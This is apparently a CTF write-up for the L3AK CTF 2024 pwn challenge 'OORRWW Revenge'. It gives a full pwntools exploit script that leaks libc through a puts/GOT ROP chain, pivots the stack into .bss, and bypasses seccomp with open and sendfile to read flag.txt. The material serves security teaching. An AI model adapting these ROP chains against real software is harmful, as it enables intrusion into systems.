F0ndueSav0yarde

L3AK CTF 2024 - OORRWW REVENGE

Category : PWN

Phreaks 2600

You can find this writeup at Phreaks 2600 website

OORRWW Revenge != OORRWW

Although the challenges are similar, here are their differences :

gift

loop

checksec

Leak __isoc99_scanf manually

According to OORRWW, I know where the vulnerability is and I know what to do.
However, there are no more leaks. I need to do ret2libc by leaking a function address myself.
Why not using puts() to leak __isoc99_scanf()@GOT again ?

0x0000000000401203 : pop rax ; ret
0x00000000004012db : mov edi, eax ; call 0x4010c0 ; nop ; pop rbp ; ret

These two gadgets are perfect since 0x4010c0 points to puts@plt.

gdb1

As you can see in this pwndbg session __isoc99_scanf@PLT address is 0x401100 which is less than 4-bytes long. It will fit in a 4 bytes register (EAX and EDI)

I used this payload for leaking data (using functions from OORRWW payload):

 11
 2payload = [b"-",
 3           b"-",
 4           b"-",
 5           b"-",
 6           b"-",
 7           b"-",
 8           b"-",
 9           b"-",
10           b"-",
11           b"-",
12           b"-",
13           b"-",
14           b"-",
15           b"-",
16           b"-",
17           b"-",
18           b"-",
19           b"-",
20           b"-",
21           b"-", # canary
22           b"-", # rbp
23           int2bytes(POP_RAX_RET), # ret
24           int2bytes(elf.got["__isoc99_scanf"]),
25           int2bytes(MOV_EDI_EAX_PUTS),
26           b"-",
27           b"-",
28           b"-",
29           b"-",
30           b"-",
31           b"-" ]

Ret2Main

There are no stack address leak as the first challenge… And I have 40 bytes left for my payload, which is not enough.

Let’s do ret2main to start again with LIBC leak :

not_aligned

Oops, SIGSEGV !
I need to be careful to stack alignment issues. Here is the new payload :

 11
 2payload = [b"-",
 3           b"-",
 4           b"-",
 5           b"-",
 6           b"-",
 7           b"-",
 8           b"-",
 9           b"-",
10           b"-",
11           b"-",
12           b"-",
13           b"-",
14           b"-",
15           b"-",
16           b"-",
17           b"-",
18           b"-",
19           b"-",
20           b"-",
21           b"-", # canary
22           b"-", # rbp
23           int2bytes(POP_RAX_RET), # ret
24           int2bytes(elf.got["__isoc99_scanf"]),
25           int2bytes(MOV_EDI_EAX_PUTS),
26           b"-", # pop rbp from previous gadget
27           int2bytes(RET), # align the stack to 16 bytes
28           int2bytes(elf.sym["main"]),
29           b"-", 
30           b"-", 
31           b"-" ]

Second round : writing payload in STDIN

Because I have no leak of stack address and no more space (56 bytes are not enough), my idea was to continue writing somewhere using more bytes.
Because PIE is off, I know where is data segment and I can continue writing my payload inside. I have LIBC leak so I can use this function :

11
2read(0, 0x404020, 0x500); // 0x500 bytes should be enough

Here are the gadgets found in libc.so.6 :

0x00000000001741a2 : pop rdi ; ret
0x0000000000164bbb : pop rsi ; ret
0x0000000000174e4e : pop rdx ; pop rbx ; ret

And the second payload to allow injecting bytes into data segment :

 11
 2payload = [b"-",
 3           b"-",
 4           b"-",
 5           b"-",
 6           b"-",
 7           b"-",
 8           b"-",
 9           b"-",
10           b"-",
11           b"-",
12           b"-",
13           b"-",
14           b"-",
15           b"-",
16           b"-",
17           b"-",
18           b"-",
19           b"-",
20           b"-",
21           b"-", # canary
22           int2bytes(0x404028), # rbp -> stack pivoting (RSP = 0x404030)
23           int2bytes(POP_RDI_RET), # ret
24           int2bytes(0),
25           int2bytes(POP_RSI_RET),
26           int2bytes(0x404020),
27           int2bytes(POP_RDX_RBX_RET),
28           int2bytes(0x500),
29           int2bytes(0x500), 
30           int2bytes(base + libc.sym["read"]),
31           int2bytes(LEAVE_RET), # stack pivoting (rsp = rbp -> 0x404030)
32]

Now, I can write 1280 bytes of data in 0x404020 and redirect RSP at 0x404030 using stack pivoting technique.

Thanks to stack pivoting, RSP is now pointing to data segment !
I let 16 bytes between RSP and RBP to write “flag.txt\0”.
I no longer use scanf("%lf",...); : I can write raw bytes instead of double floating points.

Third round : seccomp bypass

Then, all I need to do is to bypass seccomp with open and sendfile. The last payload is quite the same as OORRWW :

 11
 2payload = [b"flag.txt", # "flag.txt"
 3                p64(0), # "\0" for the end of "flag.txt"
 4      p64(POP_RAX_RET), # RAX = 2
 5                p64(2),
 6      p64(POP_RDI_RET), # RDI = buffer -> &"flag.txt\0" 
 7         p64(0x404020),
 8      p64(POP_RSI_RET), # RSI = O_RDONLY -> 2
 9                p64(2),
10      p64(SYSCALL_RET), # open("flag.txt\0",O_RDONLY);
11      p64(POP_RDI_RET), # RDI = 1 -> stdout 
12                p64(1),
13      p64(POP_RSI_RET), # RSI = 3 (I assume it is the file descriptor of opened file)
14                p64(3), 
15p64(POP_RDX_POP_RBX_RET), # RDX = 0 -> offset
16                          # RBX = 0 (junk)
17                p64(0), 
18                p64(0), 
19      p64(POP_RCX_RET), # RCX = 0x50 
20             p64(0x50),
21p64(base + libc.sym["sendfile"]), # sendfile(1,3,0,0x50);
22]

Final payload

  11
  2# ===============================================[ Module Imports ]===============================================
  3from pwn import *
  4from decimal import Decimal
  5import struct
  6
  7# =====================================[ Load ELF binary and start process ]======================================
  8elf = ELF("./oorrww_revenge_patched",checksec=False)
  9libc = ELF("libc.so.6",checksec=False)
 10io = process([elf.path],env={"LD_PRELOAD": libc.path})
 11
 12# ==================================================[ Functions ]=================================================
 13def int2double(x):
 14    return struct.unpack('d',p64(x))[0]
 15
 16def double2bytes(x):
 17    return str(x).encode("utf-8")
 18
 19def int2bytes(x):
 20    return double2bytes(int2double(x))
 21
 22def bytes2doublebytes(x):
 23    return double2bytes(struct.unpack('d',x)[0])
 24
 25# ========================================[ oorrww_revenge_patched Gadgets ]======================================
 26MOV_EDI_EAX_PUTS = 0x00000000004012db
 27POP_RAX_RET = 0x0000000000401203
 28RET = 0x000000000040101a
 29
 30# ==========================================[ First payload : leak LIBC ]=========================================
 31payload = [b"-",
 32            b"-",
 33            b"-",
 34            b"-",
 35            b"-",
 36            b"-",
 37            b"-",
 38            b"-",
 39            b"-",
 40            b"-",
 41            b"-",
 42            b"-",
 43            b"-",
 44            b"-",
 45            b"-",
 46            b"-",
 47            b"-",
 48            b"-",
 49            b"-",
 50            b"-", # canary
 51            b"-", # rbp
 52            int2bytes(POP_RAX_RET), # ret
 53            int2bytes(elf.got["__isoc99_scanf"]),
 54            int2bytes(MOV_EDI_EAX_PUTS),
 55            b"-", # pop rbp from previous gadget
 56            int2bytes(RET), # align the stack to 16 bytes
 57            int2bytes(elf.sym["main"]),
 58            b"-", 
 59            b"-", 
 60            b"-", 
 61]
 62
 63for i in range(len(payload)):
 64    io.recvline()
 65    io.sendline(payload[i])
 66
 67io.recvline()
 68leak = io.recvline()[:-1][::-1]
 69leak = hex(int.from_bytes(leak))
 70print("[+] Leak __isoc99_scanf @ "+leak)
 71
 72base = int(leak[2:],16)-libc.sym["__isoc99_scanf"]
 73print("[+] LIBC base @ "+hex(base))
 74
 75# ===============================================[ libc.so.6 Gadgets ]============================================
 76POP_RAX_RET = base + 0x000000000011bec9
 77POP_RDI_RET = base + 0x00000000001741a2
 78POP_RSI_RET = base + 0x0000000000164bbb
 79POP_RDX_POP_RBX_RET = base + 0x0000000000174e4e
 80POP_RCX_RET = base + 0x000000000003d1ee
 81LEAVE_RET = base + 0x000000000004da83 
 82SYSCALL_RET = base + 0x0000000000091316
 83
 84# =======================================[ Second payload : write in .bss ]=======================================
 85payload = [b"-",
 86            b"-",
 87            b"-",
 88            b"-",
 89            b"-",
 90            b"-",
 91            b"-",
 92            b"-",
 93            b"-",
 94            b"-",
 95            b"-",
 96            b"-",
 97            b"-",
 98            b"-",
 99            b"-",
100            b"-",
101            b"-",
102            b"-",
103            b"-",
104            b"-", # canary
105            int2bytes(0x404028),  # rbp -> stack pivoting (RSP = 0x404030)
106            int2bytes(POP_RDI_RET), # ret
107            int2bytes(0),
108            int2bytes(POP_RSI_RET),
109            int2bytes(0x404020), # .bss address
110            int2bytes(POP_RDX_POP_RBX_RET),
111            int2bytes(0x500),
112            int2bytes(0x500), 
113            int2bytes(base + libc.sym["read"]),
114            int2bytes(LEAVE_RET), # stack pivoting (rsp = rbp -> 0x404030)
115]
116
117for i in range(len(payload)):
118    io.recvline()
119    io.sendline(payload[i])
120
121# =======================================[ Third payload : seccomp bypass ]=======================================
122payload = [b"flag.txt", # "flag.txt"
123                p64(0), # "\0" for the end of "flag.txt"
124        p64(POP_RAX_RET), # RAX = 2
125                p64(2),
126        p64(POP_RDI_RET), # RDI = buffer -> &"flag.txt\0" 
127            p64(0x404020),
128        p64(POP_RSI_RET), # RSI = O_RDONLY -> 2
129                p64(2),
130        p64(SYSCALL_RET), # open("flag.txt\0",O_RDONLY);
131        p64(POP_RDI_RET), # RDI = 1 -> stdout 
132                p64(1),
133        p64(POP_RSI_RET), # RSI = 3 (I assume it is the file descriptor of opened file)
134                p64(3), 
135p64(POP_RDX_POP_RBX_RET), # RDX = 0 -> offset
136                            # RBX = 0 (junk)
137                p64(0), 
138                p64(0), 
139        p64(POP_RCX_RET), # RCX = 0x50 
140                p64(0x50),
141p64(base + libc.sym["sendfile"]), # sendfile(1,3,0,0x50);
142]
143
144io.send(b"".join(payload))
145
146# =====================================================[ Flag ]===================================================
147
148io.recvline()
149print(b"[+] FLAG : "+io.recv(2048))

Notes

I have no longer access to remote machine because I couldn’t complete the challenge on time.
This is why I’m doing it locally.

flag